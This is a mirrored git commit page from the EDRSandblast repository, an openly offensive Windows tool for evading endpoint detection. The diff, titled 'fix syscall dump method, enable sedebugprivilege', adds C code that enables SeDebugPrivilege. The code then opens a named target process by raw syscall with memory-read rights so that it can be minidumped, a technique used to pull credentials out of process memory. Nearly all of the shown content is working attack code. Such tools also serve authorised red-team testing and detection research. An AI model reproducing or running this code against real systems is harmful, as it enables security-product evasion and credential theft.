mirror of
https://github.com/wavestone-cdt/EDRSandblast.git
synced 2026-06-08 16:37:12 +00:00
fix syscall dump method, enable sedebugprivilege
This commit is contained in:
@@ -10,4 +10,6 @@ PUNICODE_STRING SandGetProcessImage(HANDLE hProcess);
|
||||
|
||||
DWORD SandGetProcessFilename(PUNICODE_STRING ProcessImageUnicodeStr, TCHAR* ImageFileName, DWORD nSize);
|
||||
|
||||
DWORD SandFindProcessPidByName(TCHAR* targetProcessName, DWORD* pPid);
|
||||
DWORD SandFindProcessPidByName(TCHAR* targetProcessName, DWORD* pPid);
|
||||
|
||||
BOOL SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege, BOOL bEnablePrivilege);
|
||||
@@ -402,7 +402,18 @@ DWORD SandMiniDumpWriteDump(TCHAR* targetProcessName, WCHAR* dumpFilePath) {
|
||||
InitializeObjectAttributes(&ObjectAttributesProcess, NULL, 0, NULL, NULL);
|
||||
CLIENT_ID clientId = { 0 };
|
||||
clientId.ProcessId = UlongToHandle(targetProcessPID);
|
||||
|
||||
HANDLE hToken;
|
||||
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) {
|
||||
_tprintf_or_not(TEXT("[-] Unable to open process token. Error : %lu\n"), GetLastError());
|
||||
goto cleanup;
|
||||
}
|
||||
if (SetPrivilege(hToken, L"SeDebugPrivilege", TRUE)) {
|
||||
_tprintf_or_not(TEXT("[+] SeDebugPrivilege enabled\n"));
|
||||
}
|
||||
else {
|
||||
_tprintf_or_not(TEXT("[-] Unable to enable SeDebugPrivilege\n"));
|
||||
goto cleanup;
|
||||
}
|
||||
status = NtOpenProcess(&htargetProcess, PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, &ObjectAttributesProcess, &clientId);
|
||||
if (status == STATUS_ACCESS_DENIED) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: access denied error while trying to get an handle on the target process (NtOpenProcesserror 0x%x).\n"), status);
|
||||
|
||||
Reference in New Issue
Block a user